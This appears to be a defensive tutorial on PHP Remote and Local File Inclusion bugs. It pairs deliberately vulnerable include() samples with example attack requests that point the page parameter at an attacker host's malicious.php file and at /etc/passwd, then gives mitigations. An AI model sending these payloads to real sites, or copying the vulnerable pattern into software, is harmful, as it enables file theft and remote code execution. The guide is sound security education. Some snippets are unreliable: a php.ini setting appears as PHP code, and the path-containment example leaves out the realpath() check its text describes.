Understanding and Preventing PHP File Inclusion Vulnerabilities: A Guide to RFI and LFI Attacks

Understanding and Preventing PHP File Inclusion Vulnerabilities: A Guide to RFI and LFI Attacks
Understanding and Preventing PHP File Inclusion Vulnerabilities: A Guide to RFI and LFI Attacks

PHP file inclusion vulnerabilities can lead to serious security breaches. Learn how to mitigate RFI and LFI risks by following best practices for input sanitization and secure file inclusion.

One line of PHP is all it takes. A developer wires a page loader off a URL parameter, ships it, and moves on. Months later someone changes that parameter to a path they were never meant to touch, and the server hands it right back. That is a file inclusion bug, and it has burned real applications for years.

Here’s the good news up front: this is one of the easier classes of bug to shut down once you understand what’s actually happening. Let’s walk through how Remote File Inclusion (RFI) and Local File Inclusion (LFI) work, what each one can really do, and the handful of habits that keep them out of your code.

Table of Contents

What Are File Inclusion Vulnerabilities?

A file inclusion bug shows up when PHP decides which file to load based on something the user controls. The usual suspects are include(), require(), include_once(), and require_once(). Nothing is wrong with these functions. They’re how you split logic across files. The trouble starts the moment the path you feed them comes from untrusted input.

There are two flavors, and the difference matters:

  • Remote File Inclusion (RFI): the attacker points your app at a file on a server they control, and your app pulls it in.
  • Local File Inclusion (LFI): the attacker points your app at a file already sitting on your server, like a config or a log, that they were never supposed to reach.

How Remote and Local File Inclusion Work

Here’s the pattern nearly every one of these bugs boils down to. A page gets chosen straight from the query string:

PHP
<?php
/**
 * Vulnerable file inclusion example.
 * The page parameter is controlled by user input and is directly included without validation.
 */
$page = $_GET['page'];
include( $page );  // Potentially vulnerable to file inclusion attacks

The user decides what $page is, and your code trusts it. With no check in between, whatever they type is what gets included. That single missing check is the whole vulnerability.

Remote File Inclusion (RFI)

In an RFI attempt, the attacker hands you a URL to their own malicious file and hopes your server fetches and runs it:

PHP
<?php
/**
 * RFI example.
 * Attacker specifies a malicious URL in the page parameter.
 * Example: http://example.com/?page=http://attacker.com/malicious.php
 */
$page = $_GET['page'];
include( $page );  // Executes the remote file

One important caveat that a lot of older guides skip: this only works if allow_url_include is turned on in PHP, and it has shipped off by default since PHP 5.2. So on a modern, default install, that remote URL fails to include. RFI is real, but in practice it needs a server that has been misconfigured to allow it. Do not turn that setting on, and most RFI risk disappears on its own.

Local File Inclusion (LFI)

LFI is the one you should worry about more today, because it doesn’t depend on that setting. The attacker feeds a path to a file already on your box:

PHP
<?php
/**
 * LFI example.
 * Attacker specifies a local file in the page parameter.
 * Example: http://example.com/?page=/etc/passwd
 */
$page = $_GET['page'];
include( $page );  // Includes and displays local files

Point $page at /etc/passwd and the app reads it back to the attacker. It gets worse when they can smuggle their own PHP onto the server first, say through an upload, and then use LFI to execute it. That combination is how a read bug turns into code execution.

The Risks of Remote and Local File Inclusion

Both bugs can do real damage, so let’s be precise about what each one buys an attacker:

  • Arbitrary Code Execution: RFI, or LFI paired with a file the attacker planted, can run their PHP on your server. That code runs as your web server user, which is already plenty to work with.
  • Data Theft: LFI is happy to read config files, credential files, and logs, which is how database passwords and API keys leak.
  • Denial of Service: pointing the include at the wrong file, or looping it, can chew through server resources and take the app down.
  • Privilege Escalation: on its own, an include bug runs as the web user, not root. But it’s a foothold, and a foothold plus a local kernel or service exploit is how attackers climb toward full control. Treat it as the first domino, not the last.

Real-World Examples of RFI and LFI Exploits

This isn’t theoretical. A couple of the well-known ones:

1. phpBB RFI Vulnerability

phpBB, one of the most widely deployed forum packages, was hit by a remote inclusion flaw in the mid-2000s. It fetched files based on user-supplied input, and back then allow_url_include was commonly on, so worms spread through it fast. It’s a big part of why that setting defaults to off now.

2. WordPress Plugin LFI Vulnerabilities

Plenty of older WordPress plugins have carried local file inclusion bugs, letting attackers reach config files and pull out database credentials. New ones still surface. If you write plugins, never build an include path out of request data without checking it first.

Best Practices to Prevent RFI and LFI Vulnerabilities

The fixes are boring, and that’s exactly why they work. Here’s what actually holds up.

1. Match input against an allowlist

The strongest defense is to never let user input become a path at all. Keep a fixed list of the files you’re willing to load and reject anything else. A switch map or an array like this does the job:

PHP
<?php
/**
 * Safely include a file by validating user input against an allowlist of permitted files.
 */
$allowed_pages = [ 'home.php', 'about.php', 'contact.php' ];
$page          = isset( $_GET['page'] ) ? $_GET['page'] : 'home.php';
if ( in_array( $page, $allowed_pages ) ) {
    include( $page ); // Only allow inclusion of allowlisted files
} else {
    echo "Invalid page request!";
}

Note that generic sanitizers like filter_var() won’t save you here. There’s no filter that reliably scrubs a file path, and clever traversal tricks slip past naive cleaning. The allowlist is the real fix because it flips the model from “block bad input” to “only ever permit known-good values.”

2. Keep remote inclusion turned off

Confirm allow_url_include is off, and keep allow_url_fopen off too unless you genuinely need it. Both ship disabled on modern PHP, so this is mostly about not undoing the default:

PHP
<?php
/**
 * Disable remote file inclusion by setting allow_url_include to 0 in php.ini.
 */
allow_url_include = 0
3. Contain the path with basename() and realpath()

If you must build a path from input, strip the directory part with basename() so traversal sequences can’t escape upward, anchor it under a fixed folder, and use realpath() to confirm the resolved path still lives inside that folder before you include it:

PHP
<?php
/**
 * Example of using absolute paths to include files securely.
 */
$page = basename( $_GET['page'] );  // Ensure the page is sanitized and basename removes directories.
include( "/var/www/html/pages/" . $page );  // Use absolute path to include files
4. Tighten file permissions

Lock down access on anything sensitive. Config files and secrets should not be world-readable, and the web server user should only be able to reach what it actually needs. That way, even if an include bug slips through, there’s less within reach.

Conclusion

File inclusion bugs are dangerous, but they’re not mysterious. Almost every one traces back to the same mistake: user input reaching include or require without a check.

Fix that one thing and you’ve handled the whole class. Match input against an allowlist, contain paths with basename() and realpath(), leave allow_url_include and allow_url_fopen off, and keep permissions tight. None of it is fancy. It just has to be there before the code ships.

Leave a Comment

Your email address will not be published. Required fields are marked *


Scroll to Top